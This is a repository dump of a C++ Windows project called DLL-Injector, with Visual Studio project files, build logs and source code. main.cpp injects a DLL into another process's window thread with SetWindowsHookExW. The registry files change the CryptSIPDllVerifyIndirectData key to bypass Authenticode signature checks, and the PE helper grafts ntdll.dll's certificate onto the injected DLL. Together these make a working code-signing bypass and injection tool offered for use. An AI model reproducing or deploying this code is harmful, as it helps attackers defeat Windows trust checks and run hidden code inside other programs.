├── DLL-Injector ├── Dll-Injector │ ├── Dll-Injector.sln │ ├── Dll-Injector │ │ ├── Dll-Injector.vcxproj │ │ ├── Dll-Injector.vcxproj.filters │ │ ├── Dll-Injector.vcxproj.user │ │ ├── Tools │ │ │ ├── portable_executable.cpp │ │ │ ├── portable_executable.hpp │ │ │ ├── registry.cpp │ │ │ ├── registry.hpp │ │ │ ├── util.cpp │ │ │ └── util.hpp │ │ ├── main.cpp │ │ └── x64 │ │ │ └── Release │ │ │ ├── Dll-Injector.Build.CppClean.log │ │ │ ├── Dll-Injector.log │ │ │ ├── Dll-Injector.tlog │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── Dll-Injector.lastbuildstate │ │ │ ├── Dll-Injector.write.1u.tlog │ │ │ ├── link.command.1.tlog │ │ │ ├── link.delete.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ └── link.write.1.tlog │ │ │ ├── main.obj │ │ │ ├── portable_executable.obj │ │ │ ├── registry.obj │ │ │ ├── util.obj │ │ │ └── vc142.pdb │ └── x64 │ │ └── Release │ │ ├── Dll-Injector.exe │ │ ├── Dll-Injector.iobj │ │ ├── Dll-Injector.ipdb │ │ ├── Dll-Injector.pdb │ │ └── Test-Dll.dll └── Test-Dll │ ├── Test-Dll.sln │ ├── Test-Dll │ ├── Test-Dll.vcxproj │ ├── Test-Dll.vcxproj.filters │ ├── Test-Dll.vcxproj.user │ ├── dllmain.cpp │ ├── framework.h │ ├── pch.cpp │ ├── pch.h │ └── x64 │ │ └── Release │ │ ├── Test-Dll.log │ │ ├── Test-Dll.pch │ │ ├── Test-Dll.tlog │ │ ├── CL.command.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── Test-Dll.lastbuildstate │ │ ├── Test-Dll.write.1u.tlog │ │ ├── link.command.1.tlog │ │ ├── link.delete.1.tlog │ │ ├── link.read.1.tlog │ │ └── link.write.1.tlog │ │ ├── dllmain.obj │ │ ├── pch.obj │ │ └── vc142.pdb │ └── x64 │ └── Release │ ├── Test-Dll.dll │ ├── Test-Dll.exp │ ├── Test-Dll.iobj │ ├── Test-Dll.ipdb │ ├── Test-Dll.lib │ └── Test-Dll.pdb └── README.md /DLL-Injector/Dll-Injector/Dll-Injector.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29403.142 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Dll-Injector", "Dll-Injector\Dll-Injector.vcxproj", "{562080FA-AD19-40F6-96EA-83BD7594FAB1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Debug|x64.ActiveCfg = Debug|x64 17 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Debug|x64.Build.0 = Debug|x64 18 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Debug|x86.ActiveCfg = Debug|Win32 19 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Debug|x86.Build.0 = Debug|Win32 20 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Release|x64.ActiveCfg = Release|x64 21 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Release|x64.Build.0 = Release|x64 22 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Release|x86.ActiveCfg = Release|Win32 23 | {562080FA-AD19-40F6-96EA-83BD7594FAB1}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {ACAE63F2-2B16-4645-9F60-18C7F5334CB2} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Dll-Injector.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {562080FA-AD19-40F6-96EA-83BD7594FAB1} 24 | DllInjector 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | Console 82 | 83 | 84 | 85 | 86 | Level3 87 | Disabled 88 | true 89 | true 90 | 91 | 92 | Console 93 | 94 | 95 | 96 | 97 | Level3 98 | MaxSpeed 99 | true 100 | true 101 | true 102 | true 103 | 104 | 105 | Console 106 | true 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 | true 118 | stdcpp17 119 | 120 | 121 | Console 122 | true 123 | true 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Dll-Injector.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {b6b7e179-6481-452c-9108-bd723695084c} 14 | 15 | 16 | 17 | 18 | Source Files 19 | 20 | 21 | Header Files\Tools 22 | 23 | 24 | Header Files\Tools 25 | 26 | 27 | Header Files\Tools 28 | 29 | 30 | 31 | 32 | Header Files\Tools 33 | 34 | 35 | Header Files\Tools 36 | 37 | 38 | Header Files\Tools 39 | 40 | 41 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Dll-Injector.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/portable_executable.cpp: -------------------------------------------------------------------------------- 1 | #include "portable_executable.hpp" 2 | using namespace std; 3 | 4 | pe::pe(string_view file) 5 | { 6 | buffer = util::file_to_buffer(file); 7 | } 8 | 9 | pe::pe(vector& file) 10 | { 11 | buffer = file; 12 | } 13 | 14 | IMAGE_DOS_HEADER* pe::dos_header() 15 | { 16 | return reinterpret_cast(buffer.data()); 17 | } 18 | 19 | IMAGE_NT_HEADERS64* pe::nt_headers() 20 | { 21 | return reinterpret_cast(buffer.data() + dos_header()->e_lfanew); 22 | } 23 | 24 | DWORD pe::get_certificate_offset() 25 | { 26 | return nt_headers()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; 27 | } 28 | 29 | DWORD pe::get_certificate_size() 30 | { 31 | return nt_headers()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; 32 | } 33 | 34 | void pe::set_certificate_offset(DWORD offset) 35 | { 36 | nt_headers()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = offset; 37 | } 38 | 39 | void pe::set_certificate_size(DWORD size) 40 | { 41 | nt_headers()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size = size; 42 | } 43 | 44 | vector pe::certificate() 45 | { 46 | return vector(&buffer[get_certificate_offset()], &buffer[get_certificate_offset() + get_certificate_size()]); 47 | } 48 | 49 | void pe::sign(vector& cert) 50 | { 51 | set_certificate_offset(buffer.size()); 52 | set_certificate_size(cert.size()); 53 | buffer.insert(buffer.end(), cert.begin(), cert.end()); 54 | } 55 | 56 | void pe::save_to_file(string_view file_name) 57 | { 58 | util::buffer_to_file(buffer, file_name); 59 | } 60 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/portable_executable.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "util.hpp" 8 | 9 | class pe 10 | { 11 | public: 12 | pe(std::string_view file); 13 | pe(std::vector& file); 14 | 15 | IMAGE_DOS_HEADER* dos_header(); 16 | IMAGE_NT_HEADERS64* nt_headers(); 17 | 18 | DWORD get_certificate_offset(); 19 | DWORD get_certificate_size(); 20 | 21 | std::vector certificate(); 22 | 23 | void sign(std::vector& cert); 24 | void save_to_file(std::string_view file_name); 25 | 26 | private: 27 | void set_certificate_offset(DWORD offset); 28 | void set_certificate_size(DWORD size); 29 | 30 | std::vector buffer; 31 | }; -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/registry.cpp: -------------------------------------------------------------------------------- 1 | #include "registry.hpp" 2 | 3 | namespace registry 4 | { 5 | HKEY key = nullptr; 6 | std::string old_dllname; 7 | std::string old_funcname; 8 | 9 | void exploit_registry() 10 | { 11 | key = util::open_registry_key(key_define); 12 | 13 | old_dllname = util::get_reg_entry(key, DllName_define).data(); 14 | old_funcname = util::get_reg_entry(key, FuncName_define).data(); 15 | 16 | util::set_reg_entry(key, DllName_define, new_DllName_define); 17 | util::set_reg_entry(key, FuncName_define, new_FuncName_define); 18 | } 19 | 20 | void reset_registry() 21 | { 22 | util::set_reg_entry(key, DllName_define, old_dllname); 23 | util::set_reg_entry(key, FuncName_define, old_funcname); 24 | RegCloseKey(key); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/registry.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "util.hpp" 3 | 4 | constexpr auto key_define = R"(Software\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE})"; 5 | constexpr auto DllName_define = "Dll"; 6 | constexpr auto new_DllName_define = R"(C:\WINDOWS\System32\ntdll.dll)"; 7 | constexpr auto FuncName_define = "FuncName"; 8 | constexpr auto new_FuncName_define = "DbgUiContinue"; 9 | 10 | namespace registry 11 | { 12 | extern HKEY key; 13 | extern std::string old_dllname; 14 | extern std::string old_funcname; 15 | 16 | void exploit_registry(); 17 | void reset_registry(); 18 | } -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/util.cpp: -------------------------------------------------------------------------------- 1 | #include "util.hpp" 2 | 3 | using namespace std; 4 | 5 | namespace util 6 | { 7 | vector file_to_buffer(string_view file) 8 | { 9 | auto input = ifstream(file.data(), ios_base::binary); 10 | return vector(istreambuf_iterator(input), istreambuf_iterator()); 11 | } 12 | 13 | void buffer_to_file(vector& buffer, string_view file_name) 14 | { 15 | auto out = ofstream(file_name.data(), ios_base::binary); 16 | out.write(reinterpret_cast(buffer.data()), buffer.size()); 17 | out.close(); 18 | } 19 | 20 | HKEY open_registry_key(string_view key) 21 | { 22 | HKEY result; 23 | RegOpenKeyExA( 24 | HKEY_LOCAL_MACHINE, 25 | key.data(), 26 | 0, 27 | KEY_ALL_ACCESS, 28 | &result 29 | ); 30 | return result; 31 | } 32 | 33 | string get_reg_entry(HKEY key, string_view entry_name) 34 | { 35 | char buffer[512]; 36 | DWORD buffer_size = sizeof(buffer); 37 | RegQueryValueExA(key, entry_name.data(), 0, NULL, (LPBYTE)buffer, &buffer_size); 38 | return buffer; 39 | } 40 | 41 | void set_reg_entry(HKEY key, string_view entry_name, string_view data) 42 | { 43 | RegSetValueExA(key, entry_name.data(), NULL, REG_SZ, (const BYTE*)data.data(), data.size() + 1); 44 | } 45 | 46 | string get_temp_path_of_file(string filename) 47 | { 48 | char buffer[MAX_PATH]; 49 | GetTempPathA(MAX_PATH, buffer); 50 | 51 | string path = buffer + filename; 52 | return path; 53 | } 54 | 55 | string generate_guid() 56 | { 57 | GUID guid = { 0 }; 58 | char szGuid[40] = { 0 }; 59 | CoCreateGuid(&guid); 60 | sprintf_s(szGuid, "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X", guid.Data1, guid.Data2, guid.Data3, guid.Data4[0], guid.Data4[1], guid.Data4[2], guid.Data4[3], guid.Data4[4], guid.Data4[5], guid.Data4[6], guid.Data4[7]); 61 | 62 | return szGuid; 63 | } 64 | } -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/Tools/util.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | namespace util 7 | { 8 | std::vector file_to_buffer(std::string_view file); 9 | void buffer_to_file(std::vector& buffer, std::string_view file_name); 10 | HKEY open_registry_key(std::string_view key); 11 | std::string get_reg_entry(HKEY key, std::string_view entry_name); 12 | void set_reg_entry(HKEY key, std::string_view entry_name, std::string_view data); 13 | std::string get_temp_path_of_file(std::string filename); 14 | std::string generate_guid(); 15 | } -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #pragma comment(lib, "Shlwapi.lib") 10 | 11 | #include "Tools/registry.hpp" 12 | #include "Tools/portable_executable.hpp" 13 | #include "Tools/util.hpp" 14 | 15 | //------------------------------------------------------------- 16 | // Injection To Target Process (SetWindowsHookExW) 17 | //------------------------------------------------------------- 18 | bool InjectModuleToProcess( const std::string ll_file_name, const std::string target_window_name ) 19 | { 20 | /* Check If Our Dll Exists */ 21 | std::ifstream image_file( ll_file_name.c_str( ) ); 22 | 23 | if ( !image_file ) { 24 | 25 | printf( "[-] Couldn't Find Image File" ); 26 | std::this_thread::sleep_for( std::chrono::seconds( 2 ) ); 27 | return false; 28 | } 29 | 30 | /* Exploit Registry Certificate Validation */ 31 | registry::exploit_registry( ); 32 | 33 | /* Get ntdll.dll */ 34 | pe ntdll_file( R"(C:\windows\system32\ntdll.dll)" ); 35 | 36 | /* Get Our File */ 37 | pe our_file( ll_file_name ); 38 | 39 | /* Get ntdll.dll Certificate */ 40 | auto ntdll_certificate = ntdll_file.certificate( ); 41 | 42 | /* Sign Our File Using ntdll.dll's Certificate */ 43 | our_file.sign( ntdll_certificate ); 44 | 45 | /* Reset Registry Exploit */ 46 | registry::reset_registry( ); 47 | 48 | /* Load Image */ 49 | const auto loaded_library = LoadLibraryA( ll_file_name.c_str( ) ); 50 | 51 | if ( !loaded_library ) { 52 | 53 | printf( "[-] Failed To Load Library" ); 54 | std::this_thread::sleep_for( std::chrono::seconds( 2 ) ); 55 | return false; 56 | } 57 | 58 | /* Get Target Window */ 59 | const auto window = FindWindowA( target_window_name.c_str( ), nullptr ); 60 | 61 | if ( !window ) { 62 | 63 | printf( "[-] Couldn't Find Window" ); 64 | std::this_thread::sleep_for( std::chrono::seconds( 2 ) ); 65 | return false; 66 | } 67 | 68 | /* Get Target Thread Id */ 69 | const auto thread_id = GetWindowThreadProcessId( window, nullptr ); 70 | 71 | /* Get Address Of Our Code/Function */ 72 | const auto our_export_function = GetProcAddress( loaded_library, "OurFunction" ); 73 | 74 | if ( !our_export_function ) { 75 | 76 | printf( "[-] Couldn't Export Function" ); 77 | std::this_thread::sleep_for( std::chrono::seconds( 2 ) ); 78 | return false; 79 | } 80 | 81 | /* Place Hook On Our Dll's Exported Function Which results in Target Process Calling The Function for Us When Event Hits*/ 82 | /* Can be Done With Other Methods See This: https://docs.microsoft.com/en-us/windows/win32/api/winddi/nf-winddi-engcreatewnd */ 83 | auto hook = SetWindowsHookExW( WH_GETMESSAGE, ( HOOKPROC )our_export_function, loaded_library, thread_id ); 84 | 85 | if ( !hook ) { 86 | 87 | printf( "[-] Couldn't Place Hook" ); 88 | std::this_thread::sleep_for( std::chrono::seconds( 2 ) ); 89 | return false; 90 | } 91 | 92 | /* Trigger The Hook */ 93 | PostThreadMessageW( thread_id, WM_USER + 400, 0, 0 ); 94 | 95 | /* Remove Hook */ 96 | UnhookWindowsHookEx( hook ); 97 | 98 | return true; 99 | } 100 | 101 | //------------------------------------------------------------- 102 | // Main Function Of Process 103 | //------------------------------------------------------------- 104 | int main( int argc, char* argv[] ) 105 | { 106 | bool injection_status = InjectModuleToProcess( "Test-DLL.dll" /* Our DLL Name */, "Notepad" /* Target Window Class Name */ ); 107 | 108 | if ( !injection_status ) 109 | printf( "[-] Failed To Inject" ); 110 | else 111 | printf( "[+] Successfully Injected Module" ); 112 | 113 | std::this_thread::sleep_for( std::chrono::seconds( 3 ) ); 114 | 115 | return 0; 116 | } 117 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\vc142.pdb 2 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\main.obj 3 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\x64\release\dll-injector.ipdb 4 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\x64\release\dll-injector.iobj 5 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\x64\release\dll-injector.exe 6 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\x64\release\dll-injector.pdb 7 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\cl.command.1.tlog 8 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\cl.read.1.tlog 9 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\cl.write.1.tlog 10 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\dll-injector.write.1u.tlog 11 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\link.command.1.tlog 12 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\link.delete.1.tlog 13 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\link.read.1.tlog 14 | d:\new git srcs\xerus-source-codes\dll-injector\dll-injector\dll-injector\x64\release\dll-injector.tlog\link.write.1.tlog 15 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.log: -------------------------------------------------------------------------------- 1 |  main.cpp 2 | Generating code 3 | 0 of 298 functions ( 0.0%) were compiled, the rest were copied from previous compilation. 4 | 0 functions were new in current compilation 5 | 0 functions had inline decision re-evaluated but remain unchanged 6 | Finished generating code 7 | Dll-Injector.vcxproj -> D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Dll-Injector\x64\Release\Dll-Injector.exe 8 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/Dll-Injector.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0 2 | Release|x64|D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Dll-Injector\| 3 | -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/Dll-Injector.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/Dll-Injector.write.1u.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.delete.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.delete.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/Dll-Injector.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/main.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/main.obj -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/portable_executable.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/portable_executable.obj -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/registry.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/registry.obj -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/util.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/util.obj -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/vc142.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/Dll-Injector/x64/Release/vc142.pdb -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.exe -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.iobj -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.ipdb -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/x64/Release/Dll-Injector.pdb -------------------------------------------------------------------------------- /DLL-Injector/Dll-Injector/x64/Release/Test-Dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Dll-Injector/x64/Release/Test-Dll.dll -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29403.142 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Test-Dll", "Test-Dll\Test-Dll.vcxproj", "{48D640C9-8EFD-4AF4-9977-BAAE3C61A304}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Debug|x64.ActiveCfg = Debug|x64 17 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Debug|x64.Build.0 = Debug|x64 18 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Debug|x86.ActiveCfg = Debug|Win32 19 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Debug|x86.Build.0 = Debug|Win32 20 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Release|x64.ActiveCfg = Release|x64 21 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Release|x64.Build.0 = Release|x64 22 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Release|x86.ActiveCfg = Release|Win32 23 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {83BDF2A3-FB72-4C59-B657-A54C4E5F50C0} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/Test-Dll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {48D640C9-8EFD-4AF4-9977-BAAE3C61A304} 24 | Win32Proj 25 | TestDll 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | 